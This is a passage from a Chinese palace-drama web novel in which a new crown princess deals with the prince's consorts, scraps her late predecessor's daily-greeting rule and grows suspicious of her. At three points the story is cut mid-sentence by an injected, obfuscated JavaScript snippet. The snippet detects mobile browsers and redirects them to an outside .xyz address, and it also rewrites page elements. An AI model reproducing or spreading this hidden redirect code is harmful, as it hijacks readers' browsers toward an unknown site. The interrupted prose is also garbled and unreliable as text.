徐妈妈说着,又从一旁的方桌上拿过玉露膏,既轻且柔地涂抹在元嘉颈侧,“那薛娘娘毕竟得太子爱重,又一直被记挂至今。若太子今日未向着您,岂不是白白落人笑话?” “他会向着我的。” 元嘉猛地睁开眼,直盯着眼前的朦胧雾气不放,“就凭我是他的太子妃,是他口中最合适的人选……只要我所作所为担得起‘太子妃’这三个字,他便会一直向着我。” “您这样,也过得太累了些。” 徐妈妈涂抹的动作一顿,虽知道元嘉的话没有说错,却还是生出三分心疼。 “我若事事以那位生前的意志为先,自是最容易得到太子的爱重,可这样,我便一辈子都越不过她去。” 裸露在外的皮肤感受到了些许冷意,元嘉缩了缩肩膀,身子又往水里下陷不少,而后才继续道:“太子记挂亡人也好,府里感念旧主也罢,这些都不打紧。他们只须记住如今的太子妃是我,而我绝非他们可以随意拿捏的人……余下的,日子还长着呢,咱们慢慢来。” “咱们是不够谨慎,妈妈却是谨慎过了头,娘子她何曾是能任人欺负的性子?” 盼春吩咐完了敛秋,捧着一套干净的寝衣,步调小心地迈了进来,正好听见元嘉最后几句话,顺口笑道。 “还叫娘子?前些时候学的规矩都忘了不成……如今该称呼女君了。你这话若被外头的人听见,指不定要说咱们女君连婢女也教不好,没的落人口舌。” 徐妈妈看着来人,摇着头不轻不重地念了两句。 将寝衣搭在远离水汽的架子上,盼春方才继续,“这不是只有咱们在么……妈妈何曾见我在外头错过称呼?” “妈妈就别说她了,”元嘉笑着制止,“比起女君这个冷冰冰的称呼,我倒更喜欢听你们唤我娘子呢,就好像咱们还住在居胥阁一般……” 一扭头瞧见徐妈妈不赞同的眼神,又连忙改口,“自然了,规矩还是要守的……盼春,以后就唤我女君罢。” 说着,却偷偷朝前者眨了眨眼。 盼春立刻做低眉垂眼状,老实应了一声。贴身服侍元嘉的几个侍女中,她本就是性子最稳重的那个,又哪里不知道元嘉眼下面临的情境。方才叫元嘉一声娘子,也不过是听见屋里的话题太过沉重,这才起了个头,想让元嘉改换下心情罢了。 “您便惯着她们罢……还不过来替女君通发?” 徐妈妈无奈摇头,起身给盼春让出位置,自己则收拾起桌上的瓶瓶罐罐来。 “我如何不知道女君的脾性……如今是年岁大了,知事了,性子也变稳重了,可内里还是那个不惹事却也不怕事的小女郎。” “你那时才到女君身边呢,也甚少跟着出门……” 徐妈妈面露怀念之色,“有一次,女君与柳娘子陪着欧阳娘子出门散心,正遇上顺平侯家的七娘子。说来那七娘子真真是嘴上没个把门的,因自家父亲从前与欧阳将军有龃龉,她便嘲笑欧阳娘子是个有娘生没娘养的,如今爹也死了,家中没个顶梁的撑着,只能叫一把年纪的老祖父披甲上阵,拿命去保爵位,也不知道活不活得下来。” “……你是不知道,当时的场面有多混乱。那七娘子刚说完话,旁人都还没反应过来的时候,女君便跑到了最前面,直接把人往泥地里推。若不是后来叫人拦了,女君说不定已经骑在七娘子的身上动手了。” “那时女君才几岁大呢,不过及那位娘子的肩膀,却生生把人给吓得不敢说话。” 徐妈妈提起这段陈年往事,还觉得恍若昨日,“回去后,顺平侯家自知理亏,却又咽不下女儿被欺负这口气。这期间,主君要季氏分家的事情正好闹得厉害,他们便明里暗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642673|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说咱们家粗鄙,教出的女儿也是个没有规矩的。” 盼春听得入了神,连通发的动作也不自觉放慢了许多,“奴婢从来不知道这些……” 徐妈妈将装满各式瓶罐的盖子合上,“女君当时也生气呢,背着夫人便跑到七娘子爱去的地方守着,连守了一个月才把人等到,跟着便朝她扔了满身的泥巴……七娘子连着两次在大庭广众之下跌了面子,之后便再不与咱们女君出现在同一场合了。” 盼春听着听着,突然阿了一声,“是不是女君将衣裳弄得脏污的那一次?奴婢记得,那衣裳还是夫人亲手裁做的,结果就穿出去了这一次,便彻底毁了,夫人还生了好大的气……” 元嘉点了点头,“是,但阿娘是气我独个儿跑出去与人动手,有理也变成了没理,又气我甩开了婆子侍女,连家丁也没带上一个,唯恐我反被人欺负了。可我当时哪能想那么远,就是生气,就是觉得错在顺平侯府……如今回想起来,我那时果然还是个小孩子呢,不过也不曾后悔就是了。” “本就是那七娘子有错在先……” 盼春低声嘟囔了两句,突然反应过来,“妈妈是担心女君么?可、在担心什么呢?” 她实在想不明白。 “我旧年在宫中所见,长久无恙的多是温恭婉顺的嫔妃,便是娄氏皇后,御下时也多以和善笑面示人。女君嫁了太子,往后怕是要学着他们的样子,如今的性子也得再收着些。偏今日闹这一出……我实在是有些担心。” 徐妈妈面露忧色。 “妈妈瞧着,我还跟当年的小女郎时候一样么?” 元嘉笑着拉过徐妈妈的手,又学着少时习惯,故意抓着人晃了两晃。 若不是她,徐妈妈原可以留在季家,与自家阿娘一起悠哉吃茶,闲时养花弄草,过着随心散漫的生活,又何必再一次踏进这深宫重地……她心里一直是感激的。如今再听到这些话,更生出许多的感动,少不得宽慰起人来。 “女君如今年岁大了,自然不像少时,行事也愈发稳妥,任谁在明面上谁也挑不出错来。” 徐妈妈宠溺地笑了笑,另只手拿过布巾,便要为元嘉擦身,“我在宫里也待了些年,敢说一句皇宫就是个虎狼窝,可如今瞧着,连外头的太子府也不是个安生的。我总怕有人会借着您这性子,算计些不好的事情呢……” “妈妈放心,我心中有数的。” 徐妈妈见元嘉如此态度,心里倒也平和了些。虽还有些忧虑,却也比头先好多了。当下便也收敛情绪,和盼春一起,服侍着元嘉换了寝衣。 “……好了,不用你们值夜,都早些回去歇息罢。” 元嘉坐在床沿,想了想,又道:“记得,在案几上留一盏灯。” 二人答应了一句,又按照元嘉的吩咐做好,这才退了出去。 …… 等燕景祁再回来,已是深夜时分,元嘉早已入睡。 进屋时便屏退了左右,燕景祁几近悄声地躺在元嘉身侧,又瞧见前者在睡梦中仍似察觉般翻转了身子,动作便愈发轻了。 偏头看着元嘉清丽的脸庞,燕景祁却想起了稍早时送去书房的那碗鱼汤,还有回来时留在屋内的一火烛光,因政事紧皱许久的眉头总算有了少许松动。轻轻揽过元嘉的肩膀,燕景祁拥着人也睡了过去。 20. 惑礼见 次日,燕景祁一大早便起了。 长春馆里外灯火通明,元嘉自也不得安睡。服侍着燕景祁起身,又陪坐着用完早膳,眼看着男人的身影消失在门外,方才算一桩事毕。只是到底淡了困意,天色虽还未大亮,元嘉却也歇了再睡的心思。命人将檐下一排燃得正亮的灯笼灭去,只留了临窗案几上的一盏烛灯,元嘉揉着鬓角,又唤人进来梳洗。 今日不必出门,又只需与前日打过照面的刘婵几人略略应酬,元嘉想了想,索性不弄那些繁琐的发式,只叫念夏挽了个垂云髻,斜斜插了几支红宝簪子,便算是佩红了。 一身换毕,又临窗而坐,元嘉掩着嘴打了声呵欠,又拿起早前在书架上瞥见的《酉阳杂俎》翻阅,权当是打发时间之用。 也不知道燕景祁的书房都有些什么,但想来不会似她书架上摆的这些一般,都是些市井话本和山野游记……她手里这本,已是能挑出来的最好一本了。 若能进燕景祁的书房就好了…… 元嘉漫不经意地想道。 徐妈妈掀帘而入,一见着窗下坐着的人影便笑了,”女君还是这般,恁它怎的,总要清清爽爽的才好。” “妈妈是知道我的,最是怕热不过,这眼瞅着要入夏了,再不趁着时日送快些,可不得闷坏了。” 元嘉笑得眉眼弯弯。 “女君,膳房的安司馔来了,这会儿就在院外候着……女君可要传见?” 敛秋捧着托盘进来,身侧跟着出去了一阵又回来的念夏。前者两手空空,一面收回投向屋外的注视,一面在嘴里嘟囔着:“她来了咱们就得见么?有这功夫,还不如发落了昨日那个没规矩的小宫女,方才算是膳房的赔罪呢!” 元嘉抬了抬眼皮,似笑非笑,“安司馔?昨日不还说膳房的司馔姓姚么?” 敛秋将托盘搁下,笑道:“申内官的动作极快,已将姚氏发还了尚食局,这位安司馔便是来顶她的位子的,又选了好几个厨娘子留府备用,早膳便是安司馔亲自盯着人做的……如今此举,怕是想借机探问女君的心意呢!” 元嘉笑了笑,“倒是个有心的。去匣子里取些银锞子来,拿去给安司馔,就说是今日这顿早膳的嘉奖……人就不必进来请安了。” 敛秋屈膝应下,整个人便往外走去。念夏则从托盘里取过茶盏,又倾身递给元嘉,嘴里尤不罢休:“要奴婢说,她们不过是尽了自己的本分,哪里用得着赏……哼,无非是怕自己变成第二个姚司馔罢了。” 元嘉接过茶盏,却觉杯壁有些烫手,眉头轻皱,而后又舒展开来,也不喝,只看向站在另一侧的拂冬,“你说呢?” 盼春搬了个矮凳坐在元嘉身旁,本在埋头捋着丝线,耳边忽然听到问话,抬眼又瞥见元嘉细微的皱眉,心中便猜出了三两分。 本想先让念夏换一杯茶来,可元嘉已然开口,她便也只能默然围观,心中却已惦记着私底下提点念夏的事情了。 拂冬是元嘉身边年纪最小的,这会儿眨巴着眼睛,也不急着回话,反先拿过元嘉手上的杯盏,搁回托盘,又将一旁盆盂里被水浸得透湿的布巾拧干,重又递给元嘉。 见前者用来净手后,方才开口:“女君恩威并施,又有昨日姚氏之事作底,想来府里会安生好一段时间。” “做坏了事自然要罚,反之便该赏。她们可以一时惧怕,但也不能一直因惧怕而服从我的命令……这样始终不是长久之计。” 元嘉这才看向念夏,眼带无奈,“你如今也是太子妃身边的大侍女了,说话做事可不能再像从前那般……拂冬比你还小上几岁呢。” 念夏只扁着嘴应下,整个人显得有些怏怏不乐。 拂冬则充耳不闻,只重新拿起托盘里的茶盏,用指腹感受了几下,才放心递给元嘉。后者接过来,指尖触到的是不再发烫的杯壁,这才拿开杯盖,拂去面上的浮沫,浅浅饮了一口。 “女君。” 正当时,帘外有脚步声靠近,红玉的声音旋即响起,“倪良娣、刘良娣、吴奉仪、徐奉仪和两位郡主来给您请安了……如今都在花厅候着呢。” “引她们去正厅坐着罢,”元嘉面上笑意微敛,“本宫随后就到。” “是。” 红玉应了一声,身影迅速消失在帘后。 “我与盼春随女君过去罢?” 徐妈妈建议道。 元嘉想了想,倒也点头。盼春稳重,徐妈妈又熟知宫里规矩,有她们伴在身边,自己总是能心安些的。 盼春立时起身,快走几步掀开帘子,徐妈妈则落后半步随在元嘉身侧,虚扶着前者一起跨阶而出。 …… 正厅内,倪娉柔、刘婵等人各自依位分左右分坐,一瞧见元嘉的身影,立刻便笑盈盈地起身,屈膝向元嘉请安。两个女孩儿,宜妤依旧端持,宜恕也仍旧僵硬。 元嘉旋身落座,余光将宜恕的动作收入眼底,心中暗叹一声。她家中虽有弟妹,自己却也不曾真正带过孩子,想来还得慢慢教。面上却分毫不显,只笑着抬手叫起。 “都是自家姊妹,又何必这般拘束,本宫是个懒散惯了的,如此倒叫我惭愧了。快,都坐下说话。” 元嘉笑吟吟道。 说话间,敛秋领着人奉茶而入,又单为两位郡主上了牛乳,而后敛目退下。 “这是本宫自来喝惯的茶叶,因不知道你们喜欢什么,便只好让你们客随主便了,”元嘉又是一笑,“郡主们年纪还小,就别陪着咱们吃茶了,饮些牛乳吧。” 刘婵端起杯盏,细品了一番方道:“女君这茶,香气沁人,口感也好。初品微涩,齿间却留有一丝甜意,怕不是今年的新茶?” “眼下虽是采茶之时,可等各地将采好的茶叶送到宫里,再由宫里送到太子府,少说还得月余,妾身如今还喝着往年的陈茶呢。这样的好东西,女君可不能吝啬,非得匀些给妾回去过瘾才是。” 倪娉柔更是朝元嘉讨要起茶叶来,倒是与外表相反的直爽。 元嘉嘴角噙着笑,故意道:“好阿,敢情妹妹今儿个是专门来诓本宫东西的……这才第二次见呢,往后还不知道要从长春馆拿走多少东西呢!” 说起来,倪娉柔比元嘉还要大上几岁,可元嘉做了太子妃,地位高于倪娉柔,连带着在称呼上,也变成了居长的一方。 “哎呀呀,分明是女君这里的东西样样都好,叫人见了便觉得喜欢,妾身这才腆着一张脸求恩典呢!” 倪娉柔抿嘴一笑,好不风情。 元嘉笑意更大,虽不知倪娉柔性情究竟如何,但无疑,和这样知情识趣的人说话最是愉快。当即便喊来拂冬,道:“去把咱们的茶叶取些来,装好后分别送去几位娘娘处……倪良娣的那份,记得要多装些。” 又朝倪娉柔道:“都是家里庄子种的,算不得什么金贵品种,也就是每年采下来供自家人喝个趣罢了,妹妹可别嫌弃。” 倪娉柔起身谢过,又与元嘉说笑两句,便知趣收声。 “我这里正有桩事呢。” 元嘉先看向刘婵,“两个女孩儿一日日地也大了,太子决定从宫里挑几个擅教习的女官回来,平日里让她们跟着学学仪礼,也为之后的进学做准备……本宫想着,还是得提前知会你们一声,也方便寻个诸事妥帖的。” 这倒不是假言,而是燕景祁在早膳时特意交代给元嘉的。 刘婵闻言起身,又带着宜妤朝元嘉行礼谢过,口中道:“这是太子与您的恩典呢。妾身粗浅无知,倒累得您为我们娘俩费心了。” 宜妤也道:“多谢母亲。” 元嘉颔首,心中却不免感慨起这小小孩童的早慧,当即又将目光投向了宜恕,但也并不寄望于她能多说些什么,能点头便很好了。 果不其然,宜恕的脸上遍布无措,瑟瑟缩缩地挤在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667123|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐奉仪身边,嘴唇蠕动了许久,到底一句话也没说出来,只睁着一双黢黑的眸子瞧着自己的母亲,好不可怜。 徐奉仪依旧冷淡,可架不住满屋子的目光都集中在自己的身上,只好道:“宜恕胆子小,又离不得人,从前便为此病过一场了,若再请女官来教习,怕又是一场好歹……太子的恩典,给另一个女儿便是,妾和宜恕受用不起。” 这话说得便有些暗讽刘婵之嫌了。 倪聘柔脸色微变,柳眉一横便想开口,却被刘婵极浅的一摇头给劝了回去,只能绷着一张不高兴的脸坐在原地。 元嘉只当没听见,继续道:“过两日女官们便会过府,届时会选个离你们院子都近的地方住下。舍不得孩子的,也可在一旁守着、看着,府里这么多双眼睛呢,想必也不会让郡主们磕了碰了,妹妹们尽管放心。” 又吩咐人将两个孩子带离,“盼春,领着两位郡主去院子里玩耍罢……还是些小娘子呢,陪在咱们身边听这些事情,也太难为她们了些。” 宜妤应当是习惯了这种事的,闻言便拉过宜恕,自觉领着人往外头走。反观宜恕,却是扭扭捏捏地不肯动弹,直到徐奉仪不耐烦地把人往盼春身边推,方才三步一回头地离开。 “奉仪舍不得孩子,可如今也不曾叫奉仪与孩子分离,奉仪怎么还是一副拒人于千里之外的样子……莫不是不希望宜恕好?” 元嘉抿了口茶水,神态如常。 徐氏陡然抬头,一双眼睛染着怒意,直勾勾地盯住元嘉不放……倒与燕景祁说的相差不离,分明憎恶,所作所为却又离被人诟病一线之遥。 “这也只是本宫一人之想罢了,奉仪若有更好的建议,不妨直言。” 元嘉继续道,像是没看见徐奉仪好似吃人的目光般,始终噙笑。事实上,她并不多担心前者的态度,不论其中情由如何,冷待女儿一事做不得假。徐奉仪想要将宜恕捆在身边,便不能再继续争执下去。 “……妾身自是希望孩子好的,”果然,徐奉仪咬牙道,“女君思虑周全,宜恕还有劳您和太子多费心了!” 此事既毕,元嘉便也没了留人的心思,搁下杯盏,道:“既如此,本宫也不多误妹妹们的时间了,这就散了吧。”想了想,又觉这话稍显冷淡,遂补充道:“往后虽只每旬来拜见一次,但妹妹们只要不嫌本宫无趣,尽可来长春馆与本宫闲坐吃茶。” 众人正欲起身,闻言俱是一僵。 “女君还不知道呢,”倪聘柔很快调整好了表情,“咱们府里,历来是每日一问安的。” 元嘉眉心微拧,“这晨昏定省虽说是古来有之,可早在开国之初,便被文德皇后以陋习为由明令废止了的。便是宫里,也遵的是一月三次大请安,少有按日跑清宁宫问安的嫔妃,咱们府上又怎么会有这种规矩?” 倪聘柔一时语塞,正为难着,还是刘婵出声解释道:“女君不知,这原是薛娘娘在时新定下的规矩,说是姊妹间日日走动着,才不会淡了情分……且,太子殿下也是知道的。” 以贤淑慈良的好名声示人的薛神妃,怎么会定下这样的规矩? 元嘉压下心中不解,只道:“女孩儿们正是长身体的时候,有这每日问安的工夫,不如多睡一会儿。不日女官们也要来了,往后更有许多要操心的事情,本宫这里才是最不紧要的。” “女君真是疼惜孩子呢……”徐奉仪陡然开口,眼底却闪着恶意的光,“也体恤我们。但这毕竟是先太子妃立下的规矩,女君是想驳了她的令吗?” 元嘉自然没有错过徐奉仪的表情,淡淡睨人一眼,口风不改,“规矩是死的,人是活的,本宫怎么说,你们怎么做就是。” “行了,都各自回去罢……天长日久的,若要靠请安才能维系住姊妹间的情分,才真要成本宫的过失了。” 众人见元嘉下了逐客令,当下也不敢再多说什么,各自行礼后告退。 21. 倪娉柔 倪娉柔几人刚走出长春馆,徐奉仪便冷下一张脸,扯着宜恕径自从另一侧离开,半句道别的话都不曾留下。 “瞧瞧,脾气还是这么大。” 倪娉柔盯着远去的背影嗤笑一声,“从前做良娣时,她便是诸事不容人,如今都成了奉仪几年了,却还是这副人憎鬼厌的臭脾气。” 刘婵面露无奈之色,“徐氏一族败落,她也从良娣贬到了末品,落差自是难平。咱们都是姊妹,倒不必讲究这些虚礼。” “姊姊自是不在意……姊姊入府时她便已经是个奉仪了,又能掀起什么浪来?”倪娉柔撇着嘴揽过刘婵的胳臂,口气微冷,“可妹妹却忘不了她从前欺负过我的事情……更害得我此生再无子女缘分。” “……又说这样的话,”刘婵不赞同般拧起了眉,“你还年轻呢,太子素日里也对你诸多疼惜。只需好生调养身子,你将来一定还会再有孩子的。” “也就姊姊还会这样安慰我了,”倪娉柔的目光停在距她们几步开外的宜妤身上,眼中钦羡与遗憾交织,“连太医都叫我过好自己的日子足矣……我还有什么不明白的。” 刘婵心疼更甚,还欲再说些宽慰之语,却听身边人话锋一转,“不过么……姊姊一入府便坐了她良娣的位子,叫她再无复位的指望,我只要看见她与姊姊出现在一处,便觉得心里畅快!” 刘婵一听便笑了,“你呀你,回回说到后头便拿我来刺她,真真是个小孩儿脾气,倒不怕我恼了你。” “姊姊性子好,修养高,自不会与妹妹一般见识,若不是……反正,我就见不得她。” 倪娉柔又是一声冷哼,口气虽还有些冲,但已然消气了不少。 “你呀!” 刘婵摇头失笑。 她从来都是拿倪娉柔没办法的。 说起来,刘婵虽比倪娉柔迟入太子府,年纪却还要比前者大上两岁,连入府的契机也是运气居多。 那时中书令徐赦因舞弊案倒台,光熹帝更下令要清算全部余党,许多曾和徐氏一脉行从过密的人家都遭了殃。刘婵的伯父时为京官,但品级却不高,也未与徐家有过牵扯,遂在一群人被问罪后拔擢升了官,而刘婵因少时失怙恃,带着一双弟妹借居在这位伯父家中业已多年。 这期间,朝野上下一片惶惶。光熹帝有意安抚,除拔擢恩赐臣子外,也从有女儿的人家中挑了些年纪适宜的,一并赐婚宗室,刘婵便在其中。彼时,刘婵为照顾弟妹,在婚事上已是拖了好几年,早称不上适宜二字。偏光熹帝看中了前者爱护弟妹的这份心肠,朱笔一圈便将人选为了太子良娣。 未出阁前,刘婵是家中的长姊,习惯了照顾比自己小的弟妹,后来有了孩子,性子更加温柔随和,看着比自己小的倪娉柔,就像是看到了久不见面的弟妹般,自然多有疼惜。 “……罢了罢了,回回提她,我都觉得没意思了,眼不见心不烦的也就够了。” 倪娉柔唉唉一声,又道:“这会儿尚早,刘姊姊,你再去我院子坐会儿罢,左右才得了女君的新茶,咱们一道吃茶解闷?”说着又瞧着默默揽着宜妤,由始至终不发一言的吴奉仪,“吴姊姊也同去?” “若是平日,我便答应你了,只今日,”刘婵笑着摇头,又牵过宜妤的手,“我叫了针房的人过来,想着给她裁两身新衣,再换几个素些的花样,夏日里瞧着也清爽……这会儿人想是都等着了,便不要叫她们白跑一趟了。” 孩子的事情自是要紧,倪娉柔便也不勉强,点了点头,又问起吴奉仪,“那,吴姊姊呢?” 吴奉仪显得有些拘谨,站在刘婵的身侧,又垂目看向宜妤,“我闲来无事,为郡主缝制了个小囊包,佩在身上放些小物件正好。针房的人既然也在,我想着便随良娣娘娘去一趟,看看有无需要改动的地方……便、便下次再去叨扰您。” 闻得此言,倪娉柔的兴致去了大半,整个人也有些恹恹,“那妹妹便不打扰了,这就与两位姊姊道别了。” 原是三人说话间,已行至道路分岔的地方。 刘婵连忙拉住了人,“虽是现下不空,可咱们往后也不需要日日问安了……我明日便去你院中找你可好?” “那便说定了!” 倪娉柔生怕眼前人反悔似的,立刻道:“吴姊姊也同来,还有宜妤!” 直等到几人都点了头,方才重新绽出一张笑脸,又目送着刘婵一行离开。 “芝兰,咱们也回去吧。” 倪娉柔驻足停留了许久,方才不舍地收回目光,又朝自己的贴身侍女道。 一直默不作声的芝兰这才上前,扶着自家主子的手,不紧不慢地往梨云院的方向走着。 “……芝兰,你今日所见,咱们这位新太子妃,如何?” 倪娉柔忽又来了兴致,好似闲聊般问道。 “奴婢哪里敢议论主子,”前者斟酌着回答道,“只是觉得,这位季娘娘虽年轻,却不像是个能任人拿捏的主。” “何以见得?” 倪娉柔继续道。 “昨日的事情虽发生在长春馆,可私底下早就传开了,说太子为了季娘娘的一句话,直接发落了膳房的姚司馔,又特意从宫里新挑了人入府伺候……” “还有那个小宫女,不过是往菡萏馆多送了几次吃食,便不知天高地厚了,竟也敢借薛娘娘的谱下如今这位殿下的威风,”芝兰忍不住啐了一声,“真是嫌日子过得太舒坦了!” “是啊,咱们都不敢动的人,她几句话就给发落了,真是厉害。”倪娉柔感慨道,“今日更是把先太子妃定的规矩都给废了……若没有昨日的事,我还真觉得她是初生牛犊不怕虎,但如今再看,竟也觉得是真人不露相了。 “要奴婢说,薛娘娘这事一开始便做的不体面,”芝兰小声嘟囔,“开国时便被文德皇后废了的规矩,怎好拐着弯的用这由头叫您与其他娘娘们日日去请安,便是为了……传出去也是不好听的。偏太子殿下爱重薛娘娘,也放手薛娘娘自己管理东宫事罢了。” “还说不敢议论主子呢,你这张嘴说起来倒是没完了,”倪娉柔斜斜睨了芝兰一眼,口中不轻不重地斥了两句,方继续道;“是阿,谁让太子喜欢呢,就像他如今也不计较徐丽华在府里的言行一样……从前徐丽华害我,我还可以记到现在还给她,可对先太子妃,我却是连半点猜测都不敢有,就因为太子喜欢她,还有她满上京的好名声。” 后半句话说的有些小声了,近如芝兰也没有听清,只茫然道:“娘娘说什么呢,徐奉仪如何能与薛娘娘比肩。奴婢虽觉得薛娘娘在请安一事上稍失妥帖,可比之奉仪娘娘,却是再贤良慈悲不过的了。” “……所以说祸害遗千年呢,”倪娉柔没有回答,只扯了扯嘴角,“薛娘娘虽然死了,可如今这位也不像个难处的。” “季娘娘才嫁进来几天呢,您又何必这样早下断言,”芝兰不解,“且奴婢瞧着,季娘娘的脾气怕也不小,更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706492|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似薛娘娘那般和善……” 倪娉柔却没有再解释的意思,只转身往另一条道而去,“走,先不回去了,陪你主子去荷花池喂鱼去!” 她倒不觉得自己是在断言,只是若从薛神妃和季元嘉当中选一个打交道,她还是更偏向把什么都放在明面上的季元嘉罢了。 诚然,薛神妃在做太子妃这件事情上,是真的无可指摘,可她却还是畏惧,还是战兢,尤其在自己和徐丽华的孩子都没了以后。 她的孩子是被徐丽华害掉的,哪怕前者始终不承认,可曾经做下的事情无从抵赖。但徐丽华的孩子是怎么没的,她却不敢细想。 “……娘娘?” 芝兰的一声呼唤,让倪娉柔从过往的回忆中挣脱了出来。不知何时,她们竟已经走到了荷花池边,芝兰也已带回了鱼食,正面露忧色地望着她。 接过芝兰手中盛放鱼食的小盒,倪娉柔的语气稍显冷淡,“你还记得徐丽华那孩子是怎么没的吗?” “是奉仪她自个儿不小心,冬日里入宫赴宴,肚子里的孩子还未满三个月便敢去御苑看雪景,结果地面的积雪太滑,奉仪就从台阶上摔了下去,大好的日子见了红,晦气的很。” “……是啊,”倪娉柔撒下一把鱼食,口中喃喃,“晦气的很。” 她不该多想的,去御苑也是徐丽华自己的突发奇想,可偏偏就那一日,从来不缺人扫雪的御苑不见了内侍与宫女,而徐丽华就那么恰到好处地踩了进去。 “良娣娘娘!” 遥遥传来一声呼唤,倪娉柔迅速调整好表情,若无其事般转身回望,竟是刘婵身边的玉兰,当即奇道:“你怎么来这儿了?” “我家娘娘头先为郡主量好了尺寸,想起您前几日说新得了一件衣裳,还差个披帛,所以也为您选了几匹料子和花样。只是不知道您衣裳的颜色,又怕与披帛的色重了,便让奴婢过来找您,说是若您这会儿得空,便来一趟竹香馆。” 玉兰一路小跑过来,微微有些气喘,“奴婢头先去梨云院找您,守门的嬷嬷却说您还未回来。奴婢记得您闲暇时总爱来荷花池,便一路寻过来了。” 倪娉柔闻言,笑中总算带了些真心,“难为姊姊还记着我,我这便过去。”说着,又将鱼食递还给芝兰,“你先把东西放回去,再来竹香馆找我。” 玉兰跟在倪娉柔身侧,见芝兰领了命便要离去,忙道:“芝兰妹妹回来时,烦请再绕去膳房一趟,只告诉他们,倪良娣今日的午膳摆在竹香馆,就不必再往别处送了。” 芝兰微愣,而后立刻反应过来,笑着答应了句,“是,我这就去!” “这、刘姊姊这是将我白日的去处都想好了呢!” 倪娉柔又惊又喜,脸上的笑意更是遮掩不住。 “娘娘说,梨云院冷冷清清的,您一个人住着难免寂寞,竹香馆的人虽也不多,可坐在一起总是会热闹些。” 玉兰说起话来亦是温柔,随了自家主子的好脾性,“奴婢来寻您时,娘娘便已命人去小厨房准备您爱吃的点心了,想来这会过去,时间正好。” “姊姊真是、真是……” 知道刘婵一直惦记着自己,倪娉柔又是高兴又是感动,偏偏这时候口拙,一句话反反复复的,却始终找不出个合适的词来。 “良娣可是我们竹香馆的第二个主子呢!” 玉兰温声道。 倪娉柔一听,指着玉兰笑的合不拢嘴,一行人渐渐走远。 22. 问当年 长春馆。 元嘉的嘴角始终噙着笑,直到倪娉柔等人彻底消失在门后,方才淡下脸色,又与徐妈妈对视一眼,后者微微摇头,只扬声唤来几个小宫女入内收拾,自己则和盼春一起扶着元嘉回了里屋。 念夏又不见了踪影,拂冬则与敛秋并排挤坐一处,动作灵活地打着络子,见元嘉脸色难看地回来,连忙停了下来,又起身迎接—— “女君……这是怎么了,徐妈妈?” 拂冬与敛秋面面相觑,又询问般的看向跟着去了的徐妈妈和盼春。 徐妈妈没有说话,倒是盼春简单解释了两句,元嘉则坐回临窗的软榻上,垂着眼睑不知在想些什么。 “女君昨日才发落了人,今日便又改了薛娘娘在时的规矩,太子那边、会不会不好交代哪……” 敛秋听完来龙去脉,不免有些担忧。 元嘉缓过神来,闻言摇头,“若我今日真由着她们继续守这规矩,那才是不好交代,也给自己留个隐患。” 敛秋更加不解。 “……先太子妃让她们请安问礼,原也不是什么纳罕的事情,可上到皇宫,下至寻常百姓人家,遵的也不过是一旬一见的旧制。薛氏既为太子妃,又存了积年的好名声,怎会做这样明着招人话柄的事情?” 元嘉思来想去无果,只能看向曾在皇宫待过的徐妈妈,寄希望于从她嘴里听到某些自己不知道的事情。 徐妈妈垂目思索,“家中有侧室的人家,须携子女同向主母请安,原不过是‘晨昏定省’的又一套说辞罢了。开国初,文德皇后特意废此规矩,一是因她农户出身,最是自在散漫,二则因其所见所闻,皆是以之磋磨妇人,无一是为了孝礼二字……太子虽在宫外开府,可伺候的人悉数是六尚局和内侍省出来的。平头百姓都知道的事情,他们不可能不清楚,若薛太子妃真在府里要人晨昏定省,宫里头的人早该收到风了……这倒是奇了。” “是阿,偏刘良娣还说,这件事情太子也是知情的。” 元嘉眉头紧蹙,脑中思绪如乱麻,“大周以礼孝治国,此举却视祖先规矩于无物。外人不知道也就罢了,太子向来以身作则,又怎会容许这种事出现在他的府邸……若所有人都视之如常,便只能是这太子府曾出过什么不好的事情了。” 元嘉回忆着方才在正厅时众人的表情,“我问起此事时,她们的反应也是奇怪,怕真是发生过什么,所以才让所有人觉得先太子妃下的这个命令是合乎情理的,哪怕与祖制相悖,也仍是遵从了。” 嘴里虽这样说着,元嘉却一直在将今日的事情和昨日种种关联起来,心中一时间疑窦丛生,甚至不受控制地怀疑起薛神妃是否真的如传闻般贤淑良善了…… “徐妈妈,你可知……薛娘娘是如何选中的太子妃?” 元嘉指节轻叩着桌面,忽而道。 